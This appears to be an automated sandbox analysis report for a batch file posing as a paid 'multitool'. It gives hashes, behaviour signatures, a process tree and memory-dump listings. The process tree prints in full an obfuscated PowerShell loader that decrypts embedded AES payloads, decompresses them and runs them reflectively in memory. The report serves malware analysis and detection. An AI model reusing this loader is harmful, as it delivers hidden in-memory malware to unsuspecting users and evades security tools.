28e5db3fb5cacfc2bfc48068c4a993df4a865d36bbceb0b00f4b1977c790a72d

Analysis

max time kernel
13s
max time network
19s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
22-01-2025 22:46

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General

Target

Multitool_Paidv5.23Beta1.bat
Size

412KB
MD5

7368d3f048408cf28d46f2a477409d75
SHA1

1c80c043336848a4bee416f07e8abfba16a14c81
SHA256

28e5db3fb5cacfc2bfc48068c4a993df4a865d36bbceb0b00f4b1977c790a72d
SHA512

bd2e0146ab223378064ad490c0d97ef2f74d6a10c37fa0a821c8f9c3772e95af8a064e946c06d4ea39b88612d9031b8197a32da4365f6d52d03f63d3ee20b7b8
SSDEEP

6144:aOYca+2SuJ8jGYkHdkmuB+uJeCrOkB/MP3ZTcq2dUcvu5kUGh65pQ/uhwotMZ8dI:aOZuWjGBHufJeC1mPJTeRYIh5/uaot3q

Score

1^/10

Malware Config

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1184	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1184	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 3012	2660	cmd.exe	30
PID 2660 wrote to memory of 3012	2660	cmd.exe	30
PID 2660 wrote to memory of 3012	2660	cmd.exe	30
PID 2660 wrote to memory of 1184	2660	cmd.exe	31
PID 2660 wrote to memory of 1184	2660	cmd.exe	31
PID 2660 wrote to memory of 1184	2660	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Multitool_Paidv5.23Beta1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('g5CCJ24qthZhq7QAxeR+02oIj+4jlgOIQxUDfsXrcAk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('avlONp3fOeoWc+G4E3EGEA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $vfqfX=New-Object System.IO.MemoryStream(,$param_var); $JTfbD=New-Object System.IO.MemoryStream; $chZaE=New-Object System.IO.Compression.GZipStream($vfqfX, [IO.Compression.CompressionMode]::Decompress); $chZaE.CopyTo($JTfbD); $chZaE.Dispose(); $vfqfX.Dispose(); $JTfbD.Dispose(); $JTfbD.ToArray();}function execute_function($param_var,$param2_var){ $NQcqt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $TViAJ=$NQcqt.EntryPoint; $TViAJ.Invoke($null, $param2_var);}$PsRZS = 'C:\Users\Admin\AppData\Local\Temp\Multitool_Paidv5.23Beta1.bat';$host.UI.RawUI.WindowTitle = $PsRZS;$qEOvA=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($PsRZS).Split([Environment]::NewLine);foreach ($WNxZT in $qEOvA) { if ($WNxZT.StartsWith('VMpUlnwmykMaWLeNJcZs')) { $EXvMf=$WNxZT.Substring(20); break; }}$payloads_var=[string[]]$EXvMf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:3012
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1184

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

memory/1184-4-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/1184-5-0x000000001B390000-0x000000001B672000-memory.dmp

Filesize
2.9MB

Download
memory/1184-7-0x00000000024F0000-0x00000000024F8000-memory.dmp

Filesize
32KB

Download
memory/1184-6-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1184-9-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1184-10-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1184-8-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1184-11-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download
memory/1184-12-0x000007FEF610E000-0x000007FEF610F000-memory.dmp

Filesize
4KB

Download
memory/1184-13-0x000007FEF5E50000-0x000007FEF67ED000-memory.dmp

Filesize
9.6MB

Download